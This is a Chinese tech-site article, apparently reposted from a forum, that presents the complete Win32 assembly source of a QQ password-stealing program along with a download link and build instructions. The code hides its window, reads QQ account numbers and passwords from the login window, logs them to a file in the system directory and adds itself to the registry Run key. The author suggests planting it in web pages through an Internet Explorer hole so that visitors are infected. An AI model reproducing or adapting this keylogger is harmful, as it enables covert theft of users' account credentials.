科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道利用汇编语言开发盗QQ密码程序

利用汇编语言开发盗QQ密码程序

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

编程语言是win32汇编,我用的是MASM8.0编绎器,可以对付最新的QQ2003,QQ1230版.由于这个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE的洞洞让看过网页的人就中招.

作者:zdnet安全频道 来源:论坛整理 2008年7月28日

关键字: 腾讯 汇编语言 QQ密码 QQ

  • 评论
  • 分享微博
  • 分享邮件
  你可以从这个程序学到如何利用汇编...的一些特别特性

程序下载地址:
locking.8u8.com/hack/asmqq.rar

这是一个我用了一天多编出来的运行在98环境下的
记录QQ密码的小程序,只有不到7KB
 
编程语言是win32汇编,我用的是MASM8.0编绎器

可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程
序要么被杀要么没更新用不到了....只好自已写一个,由于这
个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE
的洞洞让看过网页的人就中招..当然你还得改改程序,因为它
不具有发邮件的功能.

文件说明:
qqlog.txt c:windowssystem32目录下,密码就放这儿了
qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动
qqplus.asm 源文件
qq.rc 资源文件
findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法
str.asm 验证在文件中找是否有已知字串的小模块
readme.txt 这也要说明:)

编绎参数:
D:masm32BIN>type b.bat
ml /c /coff msg.asm
link /subsystem:windows msg.obj qq.res

czy 于03.06.15

.386
.model flat,stdcall
option casemap:none

include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/Advapi32.inc
includelib ../lib/Advapi32.lib

_PROCVAR2 typedef proto :dword,:dword
PROCVAR2 typedef ptr _PROCVAR2

.data
szcaption db hello asm!,0
sztext db hehe ,0
szqqtitle db ,0
sztext1 db cant find ,0
tx db 40 dup(0),0
pass db 16 dup(0),0
qqno db 40 dup(0),0
log db c:windowssystem32qqlog.txt,0
szFormat db %s %s,0dh,0Ah,0
regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0
keyname db QQplus,0
exename db QQplus.exe,0
hkey dd ?
allnum dd ?
@szBuffer db 60 dup(0),0
canwrite db 0
;---------------------------------是否有重复记录
find db 相同用户名密码已在文件中存在,0
logall db 1024 dup(0),0
@hFile1 dd ?

p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0
k dd 0 ;在logall中找到多少个相同的字符了
q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置?
j dd 0 ;记录在logall中找到多少个字串来了

base dd 0 ;记录logall的地址

lenstr dd 0 ;记录匹配的字串的长度
len dd 0 ;记录文件长度

@szBuffer1 db 10 dup(0),0
szFormat1 db %d%s,0

;---------------------------------

.const
szregister db RegisterServiceProcessA,0
kerdll db kernel32.dll,0

.data?
hInstance dd ?
hWinMain dd ?
RegisterServiceProcessA PROCVAR2 ?
hDllInstance dd ?

.code

_isin proc

invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile1,eax
invoke GetFileSize,@hFile1,NULL ;得到文件长度
invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL
invoke CloseHandle,@hFile1

invoke lstrlen,addr logall ;得到字串总长
mov esi,offset len
mov [esi],eax ;并记录到len变量中

invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度
mov esi,offset lenstr
mov [esi],eax

;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr
;invoke MessageBox,NULL,offset logall,offset @szBuffer,1
;上面的*作从文件中读出所有内容,下面就是比较

mov esi,offset logall
mov edi,offset @szBuffer
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

@@bg:

movzx eax,byte ptr [esi] ;logall
movzx ebx,byte ptr [edi] ;@szBuffer
mov ecx,len
.if j>ecx
jmp @@exit
.endif

.if eax==ebx
.if p==0 ;找到一个和hello的第一个字母相同的

inc p ;p设为1

mov edx,offset j
mov ecx,[edx]
mov q,ecx ;把j的值给Q

.endif

inc edi
inc esi
inc j
inc k

mov ecx,lenstr
.if k==ecx
pushad
;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall
;invoke MessageBox,NULL,offset @szBuffer1,offset find,1
popad ;调用了函数eax值发生变化所以要还原寄存器
inc canwrite ;可写入标记设为1
jmp @@exit
.endif

.else
.if p==1
mov ecx,q
mov j,ecx
inc j

movzx eax,byte ptr [esi]
add esi,j

mov edi,offset @szBuffer
dec p ;p重设为0
mov k,0
.else
inc j
inc esi
.endif
.endif

jmp @@bg
@@exit:
ret
_isin endp

_SavePass proc ;用户名密码记录在全局变量中了
local @hFile:HFILE
local @lpOpenbuf:OFSTRUCT

invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass
;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1

mov qqno,NULL
mov pass,NULL

invoke _isin

.if canwrite==0

invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile,eax
invoke SetFilePointer,@hFile,0,NULL,FILE_END
invoke SetEndOfFile,@hFile ;文件指针放到文件尾
invoke lstrlen,addr @szBuffer
invoke _lwrite,@hFile,addr @szBuffer,eax
.else
dec canwrite ;还原标记
.endif

invoke CloseHandle,@hFile

;清空当前记录的密码防止重复记录

ret
_SavePass endp

_Findzi proc _hzi

invoke GetWindowLong,_hzi, GWL_STYLE

.if eax==50012080h ;记录QQ号码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx
;invoke MessageBox,NULL,offset tx,offset szcaption,1

; mov esi, offset tx
; mov edi, offset qqno
;MYCOPYSTR0:
; mov al,byte ptr [esi]
; cmp al,0
; jz MYCOPYSTR1
; mov [edi],al
; inc esi
; inc edi
; jmp MYCOPYSTR0
;MYCOPYSTR1:
pop ecx

.if ecx>5 ;长度大于4,qqno!=tx

mov edi,offset qqno
mov esi,offset tx
xor edx,edx
.while edx<ecx
mov eax,[esi]
cmp [edi],eax
jnz @@qt
inc esi
inc edi
inc edx
.endw
jmp @@ps

@@qt:
xor edx,edx
mov edi,offset qqno
mov esi,offset tx

.while edx<ecx
mov eax,[esi]
mov [edi],eax
inc esi
inc edi
inc edx
.endw

;invoke MessageBox,NULL,offset qqno,offset szcaption,1
.endif
.endif

@@ps:

.if eax==500100A0h ;记录QQ密码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx

pop ecx

.if ecx>6 ;长度大于5,qqno!=tx

mov edi,offset pass
mov esi,offset tx
xor edx,edx
.while edx<ecx
mov eax,[esi]
cmp [edi],eax
jnz @@qt1
inc esi
inc edi
inc edx
.endw
jmp @@ps1

@@qt1:
xor edx,edx
mov edi,offset pass
mov esi,offset tx

.while edx<ecx
mov eax,[esi]
mov [edi],eax
inc esi
inc edi
inc edx
.endw

;invoke MessageBox,NULL,offset pass,offset szcaption,1
.endif
.endif
@@ps1:

invoke GetWindow,_hzi, GW_HWNDNEXT ;例举下一个兄弟窗体

.If eax!=0 ;没有兄弟窗口了
invoke _Findzi,eax
.EndIf

invoke GetWindow,_hzi, GW_CHILD ;是否有子窗口

.If eax!=0 ;没有子窗口了
invoke _Findzi,eax
.EndIf

ret
_Findzi endp

_ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime
pushad
invoke FindWindow,NULL,offset szqqtitle
.if eax
invoke GetWindow,eax, GW_CHILD
invoke _Findzi,eax
.else
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
;找不到登陆窗口并且用户名密码不为空就试图记录

invoke lstrlen,offset pass
.if eax>5
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
invoke _SavePass
.endif
.endif
popad
ret

_ProcTimer endp

_ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam
mov eax,uMsg
.if eax==WM_INITDIALOG
push hWnd
pop hWinMain
invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮
invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见
invoke SetTimer,hWinMain,1,500,addr _ProcTimer
.elseif eax == WM_CLOSE
invoke KillTimer,hWinMain,1
invoke EndDialog,hWinMain,NULL

.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp

start:
invoke GetModuleHandle,NULL
mov hInstance,eax

;pushad
;invoke LoadLibrary,offset kerdll
;.if eax ;加载KERNEL32.dll成功

; mov hDllInstance,eax
; invoke GetProcAddress,hDllInstance,offset szregister
;
; mov RegisterServiceProcessA,eax
; ;mov ebx,01
; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程
;
; invoke FreeLibrary,offset kerdll
;.endif
;popad

invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL

;开机自启动
invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey
invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11
invoke RegCloseKey,hkey
;invoke ExitProcess,NULL
end start 
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章